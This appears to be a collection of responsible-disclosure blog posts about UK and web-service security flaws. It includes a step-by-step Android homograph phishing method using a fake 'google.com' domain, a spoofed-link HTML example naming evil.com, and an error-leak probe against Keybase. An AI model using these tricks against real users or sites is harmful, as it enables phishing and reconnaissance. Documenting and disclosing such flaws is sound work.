[Ghebuza's] assistant was in the habit of moving around with Ghebuza's program and "key" disks as well as his data files. This was against all the rules though we had always suspected that some of the comrades were less than meticulous about observing them.

"Talking To Vula"

Users will seemingly do almost anything to bypass security in the name of convenience^{19 20}. From writing down passwords^{21 22} to pointing a webcam at a VPN token²³, these behaviours completely negate any of the protection provided.

Users are left with, at best, a placebo security measure.

A comprehensive encryption programme has to account for the fallibility of human nature.

Ubiquity & Transparency

Usability of encryption relies on two essential factors: Ubiquity and Transparency.

Until the release of the Firesheep software²⁴ it was assumed that websites only had to protect the login portion of their services with HTTPS. Firesheep showed how every interaction with the site could leak login information to an observer.

The only way to guarantee the security of users was to ensure that every single interaction with the site was secured. Ubiquitous security became a necessity.

Similarly, it used to be common that in order to securely access a site like Facebook or Twitter, a user had to remember to enter the URL with the "https://" protocol, or they had to manually set an option to enable security.

By having the website insist on using HTTPS and enforcing it for all users at all times, they removed the need for the user to have to constantly check their security settings. This mode of operation means that encryption technology does not get in the way of the user's normal use of the site. Users do not have to undertake manual actions to enable encryption.

An excellent example of this can be found in my research into British Police websites²⁵. Several forces run online crime reporting tools, enabling victims to send in details electronically.

Despite the obvious legal and moral need to protect such sensitive information, I discovered that 18 of the forces did not provide any website security. Six of the sites had encryption available but did not force visitors to use it. This meant that users of the site would have to manually manipulate the URL to select a secure method of communication.

Conclusions

Even minor transgressions in the correct use of security can offer an adversary the opportunity to penetrate a user's defences. Users have to continually protect themselves against an unending onslaught of criminals and state-backed hostiles.

"Remember we only have to be lucky once. You will have to be lucky always."

Anonymous IRA Spokesman²⁶ referring to the 1984 Brighton hotel bombing.

In order to make encryption practical and to extend the benefits of secure communication to as many people as possible, we have to find ways of making users as "lucky" as possible.

The challenge for future security systems is to protect users from their own fallibility whilst being as unobtrusive as possible.

Facebook rewrite URLs with Unicode in the path - this is not best practice and could be dangerous.

It is possible to create a URL like http://bit.ly/😀 - the Unicode characters are valid in the path.

The URL Encoded representation is :

bit.ly/%F0%9F%98%80

Facebook mangles these URLs in such a way that it might be possible to redirect a user to a malicious site.

Here's what's happening. When Facebook sees the "😀" character in text, it rewrites it to the "󾰀" character (󾰀). That's a "private use character". This means Facebook can replace the user's computer's default smiley with a Facebook supplied image or font glyph - if it wants.

In normal text - such as "I passed my exams 😀" - changing the smiley is doesn't present a problem, but Facebook also replaces the text in a URL!

So, the URL :

bit.ly/%F0%9F%98%80%F0%9F%98%80

Will point to a Facebook security page.

Facebook changes the URL to :

bit.ly/%F3%BE%B0%80%F3%BE%B0%80

Which points elsewhere - bit.ly/󾰀󾰀.

I performed a couple of quick experiments. It is sometimes possible to post a link which displays a preview of a "good" site, but when clicked on leads to a bad site.

The chances of this being used as a successful attack vector are slim. Tricking the user into clicking on a link which subsequently steals their password is made marginally easier if the link and link preview don't match - but I'm sure there are easier ways of deceiving the user.

The real issue here is that Facebook is altering the text that you write - and that can have unexpected consequences.

We live in a non-ASCII world now. A URL like https://莎士比亚.org/奥瑟罗 is perfectly valid. Facebook - and other sites - should not be confused by non-Latin characters.

I love the idea of Keybase.io. It's a site which takes a lot of the hard work out of encryption.

I've discovered (and responsibly disclosed) a minor vulnerability with their web service. It doesn't lead to anyone's details being exposed, or point to an underlying flaw with their services - it's just a slight lack of professionalism which could have some unintended consequences.

Default Errors

It's a really good idea to make sure that your default error pages don't leak any information about your infrastructure. An adversary who knows that you're one or two patches behind may find it easier to target an exploit towards you.

Keybase expects a certain format of URL. If you want to see my page, visit keybase.io/edent. Presumably, the server looks up the string "edent" in a database. If it doesn't find a match, it displays an error page. Suppose, however, that we send it some non-text content? What happens then?

By sending the string "%." we've caused the server to go and have a little bit of a lie down. In the meantime, it "helpfully" tells the world that it's running nginx 1.6.1.

Apparently, that version of the software has a SSL session reuse vulnerability. Ooops!

If we pass it a similar string "%" we get this returned to us.

This is problematic for a number of reasons.

• We now know the username of the running app. It was probably guessable anyway, but it's nice to be sure!
• The layout of directory tree is now obvious.
• A fairly comprehensive list of the software used is available.
• By looking at those line numbers, we can probably determine the software version and see if any have known bugs or exploits.

The Keybase.io team raised this problem with their software stack provider.

These are not exactly show-stopping bugs; an adversary would already need to have compromised the server to make the most use out of them. And, in all honestly, a sufficiently determined attacker could probably ascertain your software stack. But there's no need to make it easy for them!

On a product level - these error pages just look horrible. You don't want your users accidentally getting a page full of tech gibberish. Log the error somewhere and present a nice, clean, brand-aware "Whoops!" page.

The email I received from Reddit was charmingly lo-fi and eschewed those bourgeois capital letters.

Notice the (teensy tiny) flaw? Yup, it's using vanilla "http" rather than the super secure "https".

Earlier this year, Reddit switched on SSL for their entire site. Somewhat annoyingly though, they do not force SSL for the site. If you want to ensure all your sessions are encrypted, you have to manually set it up in your preferences.

I find that a little disappointing. I know that there is a cost associated with 100% SSL coverage on a major site like Reddit, but surely because of the site's popularity they should mandate it?

Anyway, I reported this minor problem to the security email address listed on their bugs page. A few minutes later, they replied.

Thanks for the report! While I don't believe there's any vulnerability introduced if we leak the verification token here (being that the intended recipient must have wanted to verify it if they clicked it, and tokens are tied to both the email and account,) I've got a fix for this that should go out this week.

A day or two later and it was fixed.

I'm trying really hard to come up with a malicious use for a MITM attack on this. There's not much.

The "dest" parameter doesn't appear to be hackable. It won't point to any site other than Reddit. So you can't redirect the user to a malicious site. What you can do is redirect to any Reddit post or page. Perhaps sending someone to a particularly disgusting post could be legally disadvantageous?

Of course, a malicious actor on the network could sniff the user's login credentials if the user hadn't noticed the lack of HTTPS.

So, there we are. A minor bug, swiftly fixed - and a general reminder that when you switch on HTTPS, make sure all of your communications with your users are updated to reflect that fact.

This flaw was reported to both Google and Opera on 23rd October 2014.

Background

International Domain Names are great! They open the web up to the whole world and allow me to own a domain like 莎士比亚.org.

But they are a constant battleground in the fight for security.

Homograph attacks are when someone uses two letters or symbols which look the same, to fool a user into visiting the wrong web address. For example TW1TTER.com has the number 1 rather than the letter i. Most fonts are reasonably good at helping users disambiguate between similar characters - but it's not always possible.

The Homograph Strikes Back

Unicode allows for "Combining Characters". This allows us to easily add an accent to an existing character. The two characters should display as one. Well, that's the theory.

If we combine the letter "g" with    ̶ (Combining long stroke overlay) we get "g̶" (it should display as "g" on your screen). On certain Android phones, and on the Opera browser for Android, it does not. It just shows up as "g".

Here's an example of the attack.

• A malicious user registers the domain name "g̶o̶o̶g̶l̶e̶.com" (In Punycode it looks like xn--google-37dbbbbb.com)
• They send a plain text email / Tweet / or some other communication telling people to visit g̶o̶o̶g̶l̶e̶.com
• The Android phone displays the link as "google.com"
• The user clicks - and is taken to a page which illegitimately asks for her Google credentials.

Impact

This appears to be a problem with the Android Operating System. Although Google's Chrome isn't affected, other system apps like Gmail are - as are any 3rd party apps which rely on Android's text rendering. This appears to be why Opera is vulnerable but Firefox is not.

I've tested this on Android 4.4.4 - the latest public release of Android. I assume older versions are vulnerable as well.

Here's Google's latest "Gmail" app being sent the plain text Testing http://g̶o̶o̶g̶l̶e̶.com.

Long pressing on the link displays correctly.

As you can see above - the user sees a link that appears to go to "google.com" even though it goes to an alternate address.

The same issue also affects the new "Inbox" app, as well as default Android apps like Calendar, Messaging, Hangouts, etc. It also affects most of the apps which attempt to render plain text using Android's default libraries.

I wondered what was causing this issue. I believe it is a problem with the default "Roboto" font used by Google. If I switch the system to use an alternative font, the system renders the text very differently.

In this case, using Source Sans Pro, the strike-through is rendered as an unknown character rather than silently failing.

We can prove this by looking at the Roboto font from Android 4.4 via FontForge - the Strike Through Character is missing.

When we take a look at the Roboto font from the Android 5.0 release - we can see that the problem has been fixed.

This means that the GMail app and all other system apps correctly render the text. Here is the same email on Android Lollipop.

Google

I disclosed this to Google on 23rd October. Their (very prompt) reply was:

unfortunately Android apps do not fall in scope for the vulnerability reward program (apart from Google Wallet, see http://www.google.com/about/appsecurity/reward-program/index.html), but I will pass this information along internally. Thanks!

Personally, I consider this to be a deficiency with the underlying Android OS. The default font which is bundled with modern Android phones is defective. This couldn't be described as a fundamental flaw, but it does highlight the problem of relying on accurate text rendering.

I mentioned the source of the issue to Google. To their credit, they quickly replied with:

... it seems like there was an issue in the Android KitKat (and earlier) releases that can cause some text to be rendered without the strikethrough, but it's been fixed in Lollipop.

...Because it appears that this issue is already fixed in the upcoming release and it's not high severity enough to backport to earlier releases, we're going to close this ticket out. If you think we missed something, please let us know.

Nice work isolating the issue to the Roboto font. I have no problem with you writing a blog post about this issue.

Opera

Initially, I believed this to be a bug solely in the Opera browser and so I reported this to them. I noticed that when viewing a link on Twitter, it displayed as "hunger.com" rather than "h̶u̶n̶g̶e̶r̶.com".

Their (fairly sensible) reply was - "not a security bug"

We have looked further into the issue, and have determined that it is not an exploitable security issue.

Basically, Opera on Android will not render it correctly in a web page. That is a bug, but web pages can already display whatever confusing content they want anyway - they could just as easily use this:

<a href="http://evil.com/">http://good.com/</a>

This is not something a browser can prevent - a page could just as easily use an image of text instead. This has always been required by the relevant HTML/CSS specifications.

...

So, we will look into fixing the display of strikethroughs within a web page, but that will be fixed as a regular bug, not an exploitable security issue.

Where Next?

It's hard to call this a true exploit - it would require the user to ignore the URL bar in their browser - although if a malicious web page were to force itself into full screen mode, the user wouldn't stand a chance.

Given that Punycode has been around for over a decade, and that the    ̶ character has been in Unicode since 1993, it is more than a little disappointing that Google took so long to include it in their text rendering engine.

In the seminal paper "The Homograph Attack" by Evgeniy Gabrilovich and Alex Gontmakher - the authors concentrated on how browsers should work to fight against these attacks:

More practically, the browser can highlight international letters present in domain names with a distinct color, although many users may find this technique overly intrusive. A more user-friendly browser may only highlight truly suspicious names, such as ones that mix letters within a single word.

For additional security, the browser can use a map of identical letters to search for collisions between the requested domain and similarly written registered ones

In today's interconnected app-driven world, every single program which can display a URL must ensure that the user is not misled into clicking on a fraudulent link.

The Eye has reluctantly been drawn into the digital age. It has a piss-poor website run by the sort of "tired and emotional" gnomes who struggle with concepts like sanitising user input.

EXCLUSIVE

Push this button to see the Eye's new owner...

If that's a decent website, then I'm a banana!

Note: After much persuasion, Private Eye fixed this problem by... errr... Turning off their search functionality completely!

Private Eye spends a lot of time criticising the people working within the Internet Industries. Perhaps they should spend less time examining the mote in others' eyes - and rather more time on the branch in their own?

I did call Lord Gnome's offices several months ago to report the error. The flack who took my call was a "jolly hockey-sticks" type who struggled to turn on her computer and navigate to her employer's website. I've not mentioned her by name - because I'm not a total bastard - but given Ian Hislop's apparent distaste for employing women, there's only a small pool from which to choose.

Ian - perhaps the reason your website is so atrocious is that you piss all over the sort of people who could actually help you. You've run exposés on public- and private-sector websites being vulnerable, so why don't you stop being such a hypocrite and fix your own site?

This flaw was responsibly disclosed to Private Eye and their web team in March 2014. I discussed it with them again in early September to highlight the flaw.

Tom Loosemore

@tomskitomski

Interesting new digital stuff emerging from @CitizensAdvice display-screen.cab-alpha.org.uk <-- uncomfortable, messy, visceral reality @mikedixonCAB

---

who supplies my electricity
why do some children become looked after
will i get back pay on pip

Terence Eden is on Mastodon

@edent

Just saw "What is the punishment in the UK if you steal a person's life savings"
display-screen.cab-alpha.org.uk

---

James Temperton

@jtemperton

Replying to @edent@edent Searches are like a series of tragic micro-stories. "hidden camera in the workplace", "when can i claim income support im pregnant"

---

It was, sadly, deeply insecure.

It's falling foul of one of the most basic security flaws. It blindly echoes a user's input without checking or sanitising it.

There's another potential flaw here. Privacy. Hopefully no one is dumb enough to type in their full name, address, or National Insurance number.

We've know for years that it's possible to reconstruct Personally Identifiable Information from "anonymous" searches.

Can a malicious user look at the searches and identify you? How specific is your issue?

Ask yourself this - how comfortable would you be with every single search you make being projected onto the side of a building?

A few minutes after reporting this, the security flaw was fixed.

As the Police policers you'd expect their website to be copper-bottomed. That they would detect anything amiss when inspecting their thin blue links. Mind you, some web developers are a law unto themselves.

Yeah, yeah, these puns are unbearable.

Fine. Whatever.

Amusing photo by kind permission of the inimitable Paul Clarke.

As I was responsibly disclosing the flaw, the HMIC team were busy moving to a shiny new website which is mercifully free of the problem.

If you're running a website - especially a Government one - please take the time to understand the risks involved.

It only remains for me to ask the eternal question: quis custodiet ipsos custodes custos telam?

Evenin' all.

Read more about "The Unsecured State", a series of blog posts examining security mishaps of UK Government websites.